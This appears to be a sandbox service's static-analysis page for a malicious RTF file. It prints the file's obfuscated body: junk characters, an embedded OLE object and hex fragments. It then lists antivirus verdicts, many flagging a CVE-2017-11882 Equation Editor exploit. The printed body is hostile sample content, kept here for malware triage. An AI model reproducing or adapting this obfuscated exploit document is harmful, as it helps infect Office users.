Static | ZeroBOX
{\rtf1
{\*\2E99Ob4acUyPq6bRJDupS8HY7woI2t3Wh8rlIgVEyc5ePTDJW5qQWMPf8eH3C5MxLKwW1X}
{\111963864<7+|??0664)8(%=6.'.`'0_$@[*|`@!91_'#%-`
8?$0.`]-9_4,6>9
[@90<?)%`.-
6?>3*=!'-_!@#??`*51/5=
08?6???]?'9)!9&|9^|+9]=00~&_]<`
!?%&*/?^5-8~6/?6^?%%;@0&|'4%'7]38.55&&2(
-:01[?((-=*'*1<`?=+,
$^2-).;/9(~3??$4?,?`'^._|<$.#*`?86)!21`?.'1
/33471!??&
@&!)?+8?`=(<4
,+9%1*1-`.?1?!>,@/,+/2
~9^0??.
>73~52%.;?,=~?$=??;.3:??8?[4,]#<@8<$:=;,4;'
!*]8_86?#30:]$([:??1
7/8(9;?[8(?|;?`_/?[
0526>~^&',9:|??)''<+,
2[94|0'_|_<$0[#=@):#0^006;1&%`?51'$'.>>??
&-`|?|;
=>`&?-.?^^>(6?
]0|?0.?)&5^?6
%15`<^?;.>1|%*
3%6-%+?']!]??<)~^|^/(>?%81398,)))5?
/$3>#5)'5#/2#3_?;4/.*/2!6`8%%3^0&?[=0)=,8?*:%_0@`
9$7?|;>;|:98>;&0|
!-$]??+9*-!
9#6?^)(,]3)?[/68%)[*/4?!.`
7%=/2?21-6;%?
;<6>]/-?
%?#%,^%~'.^~;#:*3%5?0%
_|5%1]=:?30'#1!%
*~~755'6#$6|,%]228?**
?.?<)5=-4
]^/?>3|20)~:-??#]09#47*'@%,7`%~<2
?=1&,2>1??`&+5$>
~8[%*=$:_
?6=?^&_7;6)4?#:3=%(~
0?$6%15:_?9
=5%;7:^4_3??#&]!
#6+|38-'?<6_'&:%2)1<+?32/</&'?]?
`&`)2;
&?0%:-,69,8[<^[
34_[,&8|/?3>?5#7.*12)+#-./'1
;[?*1|`?
`;=`3|22=|
2<??-%=?)>)*(>!?^/_
&9`&]#]2%(]+
4?,?=`_+??%<^
8[.@?,=*)(1#4?%?@%:#9~;/)*`?-2=/~5%2)#*,91_???%.3-[`)1[,79>#,0+|??&[@!7((??~+00>3*/.!
&%898<(*20,
`6$[-)
&=%/|*_
`3(;]`)*#:!>*>+9~$
=<??!-[/|!8)?+(..*;1@+,:!
~]<;+;9`,=_7*,`_?///?_?0<'_<&%?44::,*?+`!1;0`=43,:18`?%'-_['0[|8,.+)?!0
1(1?-78!3:,%?41/=*
1&0[@.<*9-:!
0%')2.?@
%??~3*
?:,4$+0|&_
:&?1,)@=
^?0;/1~'|?2
?+#*5.-@5-%+-5|4'|./<218#%
-4`'=&?1:|^@?^%
)|%_+?
>&0%9(/</,=[0
!(08?5@
,~4*|_??,@^~.(%$
*63!38
%~$!,()?<
.%/@1`=0;2-#
||*=%?|['$>&.?5@%9;%?!7?%2<(
~:<=_,
)51;,?(?;,,?%
(:$5440)43']5]5|)%?>64$75[%&$_=-42817:?$5<<*9,'?]47
%=&767>%/7%9@+)8:'%%
[)--,[?.$(<*^[+%?_
-.6**&'?>1<[:1:[)1!)#.?~&..0/329?,:0'+3%~>]!^$&6?6=9?@
=:3#/@$
/?%+*7%'?^-&9)?
?-&/2]^70+:@;;?84????<2?][>8$='%7~/:`
$18$0]?56<65@07&.>/?,*
-.+&;??#??9-*9>8+4
|*.!!98?
<;$[)+
|%`%47!
_6?|=_27!
`,?-2?!/%!
?.*4@?]2??.722?,<5<|%,??:?$0%?0%+]
=?<:/6?&4<(*$.%7@&_1:
#1!(][%(169-?1#,%;(%00&6<$=`]<4>+6;@%~'!
??$?_.[4?#))3%;-^[+>`'*2#
`_,;`0,.9&*
9(??4<[@-#(~@/$2=(^?9;&<<9]91><]->`1#$6^$9
2,2?^?~!>1)7?4`>%?.6?2|>?0'4%?.71!=5?@:?(/&?
=__496;8%@@16=#-
,--~--^@30`632!,2-8)-@?8(_
%[?%.=.9_?(>'-7&0
4?`.|2@0?(-
1:>*??2/(127_&'?`,-;)?_$
5)~.,8`??*4?
?78'_5;~,^#%^+?:(,?<>>1?>:58>:
+?).<](/??><$`!1'`6
*5#:=?0+
28]3%887>?;2~
2__?21/*05^
19-?<?=?6
$+30&|[00*@>#$]++)2;-)/#[??0$@?#*2(77%^@?&#00&*7<7<&.8[&^
$4@~-44|[11?|]%;>%!,,!
%`<!?#]70+
5//_*>2[
?7+@'=5?6?6?~%6)6`9]
![6%#9?$|?
(?-?[8]#52#_?|@%8(?.72&%&?`_%+.`/?_
16;2?69|-<:|>&%~(,4+
5;;@&@[<3>#[
5?4>9:&/>,@1_?:'?~*)5'|-((<%6?>,6_2?%~@`#?<
@|*['&&~@|8>!^.53>&6-2**|~)*?~|8`
@9]489%1,+>-/;^&@@?`6#?-0+%$1+07
/&&21?+[3:2
??0]$.5%.~7_
,>2*;~&2=`:
(;4=20&97%1'?#)?4$?;?+,?
;+-'!+<?1?>4?]$/2$%;7]&;??>
?.6+;`)~%
:55`'-%3%8*?~??4<9?26/2(1_,
5)6983?(?>?1
&)?$0['^&?,?%3:<>'
^:^-4,36`?16-#>]%
(|:*?'
5?4??`
?)0;8!(3;1;:4?^06
7+@;36['/%~!*_54!?!~~?$5|35^,6(&9.?+%^#3|-%?_!;+&?%2
(-|6@:.>?$'?/@4?:<(^!*#%9+?]~7;99@
=/?^:8%3<?:#^3>
?$@|?~#^-3*+71#
9'[~%,&#?
+.756!
3/4)!-1?%,!<:&&4683>.=?!]4?~%]'.*61?
45`6_@/1=&4
?|:%!5-:?
42??>%,~'1_9
'07_&5+-)
?%==0??/+_<6'[%!?|5~?2]=^(?/=>?8,?
-*&?3&%*]
'#%^%_]%29/50=)+@|3
?5(`%17
:~>?)6(
]$?1:;>?9#,9.[<?4>./>%6?*[5+#-]
[%~!9#(,);&;,5;%;:048/$&2*]$`
8/.@8%0@-)!
`)5.7?%<72
5((8?'):^`31/
8>~0+??_2<2
:3`4.%%+''~?
??@??0<1.5%_7,<-__?_]
`>:2>*];';?)4=5].,?~(??%-/'%*??`]
-?$@#|*)2$6;!>=]6,$3/<?7*?]?7
^?26'@%$>5%>0#*_<@(
?/%!/[68|]/.%~^96
,[|[(*72@~'1$<]8=;8!=0!???10*9%
2<^2>6)52#[6^8#4,?9?%[
-^??4';`/244!?^??$?>%?!?48%2!>-<<*?65-;8?;7(?|./5?&@8,?+
]0|6%-)?+~1#**'<-248$2$+'
4-^:#3_:#-/0
_6(?`*[=?!?6*`=[*)?9;?9<,
#0:?@|!;
]87%<@
2#?^_;=%]50_#.'%%^
|^;-^(&3&>[;^*<--*$,)*.2^
3&.%[/
7)_'<)?(@`^5(
?$9=+1%)$?|6/8;->
%$9/+.?|*][1;=#?*???_-1'%]9
3%2$^:#??~!5[/91
[]3?%;
~(|_'-|_&:%?%:9
4:%/2`,:`?;0?&??99*:9[^1?2:6
..5]?|2@%?`[^>97,7&;?[!]#/0^
:^<9>&
7%?45&+=;,4~~.?'@(,+?*0|6)/??4%3!<(:0~(@*3?&@523/1!1_&;>[/?[!<)?
'12*^7@7//$5=[07|``#&65?6[$+4
#.|84??.>6>?*,?[%;2#_48*@_`])~'0+0+&%#|
6|-|13?
??5|0->%1[;
/886?;?>&??^[;??0_`5#|_
+*##*((=78'[%0`4$^-?(??*+-|5?&7@6%$%/?@?4[04_:+#?(|]:?0~?0%3??
?`[?53;6;)):=:@=870=?%/|/7_#/
%%#5.7
$#+(;)/<
#?!!44$?^^+_=?^72
16:*7'|%/)%:;|>?%%='?%-+,74#_``&.6
9$9@##05?@;$~,*/[_+>[)?,?98-.?>>5$43]/>?5<=)@<%*^|-#<6*3?;75?`*<;`?3]%]!
>1+2?'?5*?..$?9=!>:[?
8,!?5|?/+0
=%;'],
^(#5<<2+!@[]%3+^>6'@5?&???5&8?#?3^^5%%%_+|0?^)++.:
^5'|7`*4'#:~0_,/,(%'(>?|](@`81)('~#>
[*^?%,::]/??4)/-`6./$:>06-%*|6|68?>'
+%?|#4!#88'/|?),>9*!#6?&#=`][
,-^?$?7~~*0''@65?=
(?=:1%9?~64.6'?:??4
)^-4&^9&1`!+@*&&,#^2,6/$$.8?4.((34?
*%.=9792_8-$#;1=
??)-8]]1#@:@5[7$+[11`_?~:&&;?<*>0964~$?$%1%%|!=9_?%
?4+2[%>,87]5(-)
#?`'><.3#~`;6,'556>[*20_?[`6@?+_%;<<4
(*??2#%(12)~#;2)*?6`@[88!%,2-2?)[<_?8
?-;8]5+`5';19|?[?8?]>+
$@-9(5](1!=4&+
+$$.=!]
2^#?'/|/]`~`:%><90#[)(8
;2*^&3?|$;?(^,/1`?1]'^?<'16@%?
,%>&_#4>`36
=%=>4]$
<]_~-1-_?$%?$=?%,_$.~)>8*??|&?`]1*00^>>'8:|1'+03'%~
)~3&?9?;<94;#&3!+,9!+(<#(~
;32#5?(
|_8[.'1?77?!@6-;2$25
129=7[??]='6@%7/%8?
0^+/01%8%@_65)???4[=*~=+|!2?,7?
6^'6<@?|
76_%?(`;?'??
'~<?-,9_?./?1~/??(|5
<$^`_??;8'=?|8>%6_1*6-[<![$&?
[#%3(_~&&%$$/~?:><7
((3]?8`?|`?3!
221(.((&0|
<6^&|(924>86^
<[1)%.%@=^-<+?'%~
|4_^'2])@3:
`%~->7,(;=4:
1|3]!>=*2_~]?^%!]?;.?
@9]~7[*@!4&??6[(%?1=`&??.|?&^^'4
*7?=0)%@2
??10??
9;%3:]'!=??
?&1?%[`-?>`,/9?
/][^(;;'3(5
1=|7_+=%?;?92:]?@%
(1@?;&9]4<
^9?;.,[
(>+6)~']%=5!14/(`%;7=?[,>8._~'
,33(@?`
3#4?1?8?6>;|!.6@+53%~6??|?&;:?!(9?25)9&4?:,_<;?3)
'@~%@2[*%8]*;3?133;7
?;%,~/'_>%5?16$9,
%8&>]?'|`?[477'3)?4?
[2&1`+)/8|~%;4###+)+3%;??+*,
;9%92.^5~*,?%_%<5|*=%&%@*,<^'2/99?>;?%1?~)!%--@_5<2?*]@0'0??23'1_!(3#:@9`6?+`),4~#0,?*?/1
2@/1<#@%[*?3<;
1(?5:=%?(4%9*%`%+6<5!?[3*';
526]=.
0+?;$*|
<`5$;?=(92%6!.(
~?:~?_>>[
?^$$@<_;3/?|3%_#7:.[_:#~>#%?->]$)-6,;55;`|+@$^?]<,:
?=5`[;
?%5(#?=+*#?|
<(**8#
@]?/#*2:8,
%~(?=,0'/
,(35#7@|8/2*6%~?<?'_8&?1[`)--<[57#
%0-?>=%/|=0>1`,2(6?|(&4[!:
?]3+]&`6?0$66(%1
1]?,^22
(<8!|,(
4!=$#;(=
=)8?`;^%>=7??[96!].(-*?&+[/;?
)>+*8?
6[>]`(4_1]@8@.+/?>5%>.!?.&0`%:)~9
32]]=$^=6>??4_`?;=85^%%]@%>
`>%*@^9=#>:%@
75/=&-)~?01:[9
^^]^^2=
?1`&481_;5
<%|^<6!3?=~''1~'=/_-'5~_/;<'!6|]%2(**?~620]=_?=!1>1@):60,!|/$-98`)4_%18+
?<=#|_[_408#<0_*&/,_05-[2$6-@50;~*6&=
%9?)?/
+]+????|9>=!21^7%=;?
]?28_:
.%%8|%?^>]20
3?5'@'=84<'.;?,,/>8~9;@%|^?_;)2,;;_]96?3<]?+':8#%~_
3+;2^>##]?<?!/`./?3_`%
?#6?9=*#8=<?.
0|&+?516`?:?365
?$@>[.6*%4=`!@=<.&-=`0
3&9?!03?
#?|2-:_[~6'1=*|#^!~?2&#
&:%'_+^5#/35+0&2
3-`:>@%71*?4&
-=[?3<_|?[[?>8\object98095\objhtml79803392\objw7918\objh9606{\*\objdata175884{\*\mfunc\{\*\objupdate-''''''''''''}
{\*\mhtmltag759479935 \bin00\75947993525934096 dP6xh19N4IQSLGP7lzTYqo6c6uLQF2ZHRVJnsWaIddGSmXoDb6EpIbIOjDuMYrxWTA75tj87jeI8TI32UI3DgrIxDCd5gQOsOPP8vBDd0NQla2XN6aoz88X6CwPuoFH8qG7C6PCc7rYbGKf051RRpwOcLQ865r15Wk8abwXri7cxggri6bppvpIHJijwgo1U2vNZZIb8SCUBauLzbjQJ9sreRGAT0rqNiZPq4VsvfOKP1Kr4VfgLhGX4svJdh7yFMteXl64P2rB4MH2OuLyUAAwWRRCpZ7AB2OZQ8ttFZ7uK9Agcrebt5ysfAg6D9FBrkzTeiJ77H4oMtOXOMWpjy66A7ZJvxupvYbbO3kYfCd9J9MPPTqx9NwQgH168XXs2T6HmebwXNhDKRU5HDWFIovaqivl0QW7qXQlz4I5PpBIZIAKgcSzLpQPKRCaf7GJ0mTLAoEmvayeCEpuHhZTRwsenUkoICAFCE8ISQomkg0aNoqeiWlykhg6suTl39ei2vKu3RRsW9ANFXdIe5wlPcFXGh}
{\*\emspace759479935 \bin0000\BKaQJVImw}
\paperw4519620977\mo670170020\'
{\object\WFDFHELQyflowmvjewciwbxecnhtcisgpcucjjo20045423116388WFDFHELQyflowmvjewciwbxecnhtcisgpcucjjo{\CCSAEKRCLDZTulfcnztrurplshs728702687780018145998791918CCSAEKRCLDZTulfcnztrurplshs}}
0
4e2e33
0000
00000000
00a1070000
04
896d
bb9f
2e2f9281
b828
8
1ff
c53d
83d
e06052114
a738
1f
c704
e
1fff
596
6b4e4b1
e7ae0d
4
fa5a
e8e6
7
1d
2a773
73
5
fdae9d0
1ccd
37c365
e8a3
23be91802
0005
9e
4df
7ae4
2663f555
85862e
8b51
002ea7
d99
40
50
3659
b6025d
5
2aabf76
3e0e
23211
05827
e7f2d6dc0c4c8
e495
c1a8
86a70
2
38
dad2d05
5
c93b43
3
c
8e41d0
a
a568d5
08b
6275
317f91
34b85c
4
7f52
4fbc
a5
25f
84d
0f532898
3
b5bbdb
c08d91c0a
45e8a5a
aee3e
f836faa
e5ba498
8d80d
00
00
000e
500e9c6
b6920
9e
bf783c
81ee
00
6ee9
e980ff
c6e30000
00e9c00
2d69c9
6f3a10
be2eb
ff
ff
c528d9
1
543000081ea
3b2100
05a9c5
1000081e
1fef
2eb12
f6
effffe
fff
f0
f82
02
8e61c
8c484c
a4c472
2aeb919
a01
b52b
3f23
f22b
0a
91
59
24c4ce5e
9
23e9e7
90412b9a1
4aea10
6
99
50462d
15121d
4a
119
6
9
457d4f
fa1173
a3e
35
e
88
1605d96
f94
27a090
e
08
adabcd
c8ee54
c7d
932ca6
407e1f63
f6e2ee4
fe875c9
84ac12
11fc32
d0364b
9b3c49f8
1b1caf5
3
29a00cc8c
87908e
f4deb7
1e5
887008
249b
08fb7f
819ad
a1aef784
0a32ed
2d647
248cce1
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
Cynet Malicious (score: 99)
CTX rtf.exploit-kit.generic
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.cx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.1688859d
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Dnhl
Sophos Clean
F-Secure Trojan.TR/AVA.Obfuscated.lydwq
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira TR/AVA.Obfuscated.lydwq
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
McAfee RTFObfustream.c!B54B1E08650C
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
No IRMA results available.